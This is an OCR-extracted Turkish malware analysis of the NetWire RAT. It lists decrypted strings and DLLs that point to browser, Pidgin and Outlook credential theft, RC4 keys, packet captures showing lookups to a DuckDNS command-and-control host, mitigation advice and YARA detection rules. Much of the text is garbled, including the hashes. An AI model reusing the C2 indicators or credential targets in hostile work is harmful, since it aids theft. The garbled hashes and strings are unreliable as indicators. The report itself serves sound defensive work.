890424 mov d\nord ptr ss:[lespd,eax [esp]:"R6s00.57i"

P
E8 12BEFFFF call r'z'lty_DDstDDD 406F1A
B4C0 test a a

cmael AmnEannn smmana

Stringler & DLL Coziimlenmis Hali

192YO0Gyy.Sii msvcr100.dll

R6s00.Sii nspr4.dll

siYO.Sii plca.dil

siS60.Sii plds4.dll

R66Q54iN.Sii nssutil3.dll

6W85WWRN.Sii softokn3.dll

R66SVIN.Sii nssdbom3.dlI

%6\EWWnid\PIOWId\u6d0 C:\Users\----\AppData\Local\BraveSoftware\Brave-
aC5C\ad8CQi5\mWn4R aC5C Browser\User Data\Default\

MdYQONNh.Sii Secur32.dll

%6\.sQOsId\CYYWQR56.fli %s\.purple\accounts.xml

m465dR4Rn... Listening...

IWKYO5Gt.Sii mozcrt19.dll

PQO0dR5zd06WR CurrentVersion

4RSdf.SC5 History.IE5

NetWire zararlist stringleri ve DLL’leri sifrelerken RC4 Kkriptografik algoritmasini kullanmaktadir.

Kullandig1 keyler ise:

_BgqwHaF8TkKDMfOzQASx4VuXdZibUleylJWhjom502ErLt6vGRN9sY 1n3Ppc7g-C
TkKDMfOzQASX4VuxdzibuleylJwhjOm502ErLt6VGRN9sY 1n3Ppc7g-C




{ NETWORK ANALIZI

& *Yerel A3 Bagiants:
File Edl View Go Capture Analyze Statistics Telephony Wireless Tools Help
e QuewEFs _Elaqqrir
A Jans
™ Yine Sowca Destmaton Protoca
1 0.600000 192.168.160.129 192.168.160.2 DS
11 3.102199 192.168.160.129 192.168.160.2 DNs
123.43 192.168.160.2 192.168.160.129 DNS
38 11.195906 192.168.160.129 192.168.160.2 DNS
45 11.252633 192.168.160.129 192.168.160.2 DNS
46 11.493731 192,168.160.2 192.168.160.129 DNS
62 12.207725 192.168.160.129 192.168.160.2 DRS
7312249488 192.168.160.129 192.168.160.2 DNS
89 13.260547 192.168.160.129 192.168.160.2 DNS
8 2 DNS

102 14.234106 0.129 192.168.160

Frame 11: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on inter
Ethernet II, Src: WMwere_c6:eb:d8 (00:8c:29:c6:eb:d8), Dst: Wware_eS5:cf:45 (80:50:

Internet Protocol Version 4, Src
User Datagram Protocol, Src Port
Dosain Name System (query)

192.168.160.129, Dst
64899, Dst Port: 53

192.168.160.2

45 00 0c
00 80 11
35 00 30
00 0a 67
6b 64 Ge

eb d8
0 a8
1f 86
79 68
6f 72

29
)
2
of
73

08 00 45 00
a0 81 0 a8
o1 00 00 01
61 7a 65 bc
67 89 00 01

e
'z
50

[
o0
15
73

03 1-duckdn s org

Frotecol

‘G"..'

ength o

76 Standard

query

0x074c A wpad . localdomain

82 Standard
98 Standard
76 Standard
77 Standard
125 Standard
76 Standard
76 Standard
76 Standard
76 Standard

¢ oryhazel

query
query
query
query
query
query
query
query
query

~ o aala]e]x][n]a]

€x1786 A goryhaell.duckdns.org

response Ox1786 A goryhazell.duckdns.org A 31.220.4.216

OxdeSa A wpad. localdomain

0x97b9 A www.wireshark.org

response Ox9Fb9 A waw.wireshark.org A 172.67.75.39 A 104.26.11.240 A 104.26.10.240
@xdeSa A wpad.localdomain

@x51bb A wpad. localdomain

0x51bb A wpad. localdomain

@xdeSa A wpad.localdomain

ace \Device\NPF_(63EDA1FD-A13C -4A0F - BEEA- 342841526820), id ©
1e5:cf:45)

Packets: 25026 * Disployed: 726 (2.0%)

Zararh galistiginda “goryhazel1[.]Jduckdns[.]org” internet adresine baglanmaya ¢alistigi1 goriilmiistiir. Fakat
sunucu aktif olmadigi i¢in baglant1 saglayamamuistir.

¥ ApateDNS
m DNS Hex View
Time
21:08:34
21:08:34
21:08:40
21:08:44

Domain Requested
teredo.ipv6.microsoftcom
250.255.255.239.in-addr.arpa
goryhazell.duckdns.org
2218.168.192.in-addr.arpa

DNS Retu.
FOUND
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COZUM ONERILERI

-Sistemlerde giincel, giivenilir bir anti viriis yazilimi kullanilmal.

-Gelen mailler dikkatle okunmali veya bilinmeyen kaynaklardan gelen maillere ve URL'ler ile ilgili
stipheli davranilmali ve eklerde tam tarama yapmadan dosya acilmamali.

-Tiim yiiklii olan yazilimlar ve isletim sistemi giincel tutulmali.

-Kullanicilarin, kimlik avi semalarindan haberdar olmalar1 ve bu saldirilari nasil yonetebilecekleri
konusunda egitimler verilmeli.

-Sistem tizerinde ki ¢alisan processlerin ag hareketleri incelenmeli.

-Viriisten koruma veya herhangi bir u¢ nokta koruma yazilimi gibi kétii amacli yazilimdan koruma
yazilimi kullanilmalidir.
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YARA Kurah

v

import "hash"

rule NetWire: RAT
{

meta:

description ="rZLTY .exe"

strings:

$a = "Control Panel\\Desktop\\ResourceLocale"

$b = "verifying installer: %d%%"

$c = "Software\\Microsoft\Windows\\CurrentVersion"
$d = "\WMicrosoft\\Internet Explorer\\Quick Launch"
$e = ".DEFAULT\\Control Panel\\International"

$f = "[Rename]"

$g = "%u.%u%s%s"

$h ="_BqwHaF8TkKDMfOzQASx4VuXdZibUleylJWhjOm502ErLt6vGRN9sY 1n3Ppc7g-C%.4d-%.2d-%.2d
%.2d:%.2d:%.2d"

$i = "MdYQONNh.Sii"
$j = "MT_qUDrj\\FWk4iiC\\%6\\%6\\FC4R"

$k = "%6\FWk4iiC\_40d8WA\sOW84id6.4R4"

condition:
hash.md5(0,filesize) == "e2154fh3783200b87300667al6a7fe7f" or all of them

}

y
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rule NetWire: RAT
{

meta:
description ="rZLTY .exe"

strings:

$a = "hostname"

$b = "filenames.txt"

$c = "encryptedUsername"

$d = "Host.exe"

$e = "%.2d/%.2d/%d %.2d:%.2d:%.2d"

$f="%¢C%.8x%s%s"

$g="Software\\Microsoft\Office\\16.0\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"

$h = "History"

$i = "/nettle-3.5.1/aes-encrypt.c"

$j = "/nettle-3.5.1/aes-encrypt.c"

$k = "/nettle-3.5.1/gcm.c”

$l = "/nettle-3.5.1/memxor.c"

$m = "/nettle-3.5.1/memxor3.c"

$n = "/nettle-3.5.1/aes-set-key-internal.c"

$0 = "/nettle-3.5.1/ctr16.c"

$p = #7@Qhg\\L@NWgyxeH\\_bpdgc%.2d/%.2d/%d %.2d:%.2d:%.2d

$r = "goryhazell.duckdns.org:6504;"

$s = "Software\\Microsoft\Windows NT\\CurrentVersion\Windows Messaging
Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
$t="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
$u = "Cs43163g4R3YWO0d3s0WY d66dR240WRIJR53iG3G3y.Sii"

condition:
hash.md5(0,filesize) == "98621ccd75026147bc3d207a62b0089¢™ or all of them

¥




Analiz EKibi

Fatma Nur Goziikiigiik
https://www.linkedin.com/in/fatma-nur-goziikiiciik/

Fatma Helin Cakmak
https.//www.linkedin.com/in/helin-cakmak

Hakan Soysal
https://www.linkedin.com/in/hakansoysal/

Halil Filik
https://www.linkedin.com/in/halilfilik/

Yasin Mersin
https://www.linkedin.com/in/yasin-mersin-321123172/
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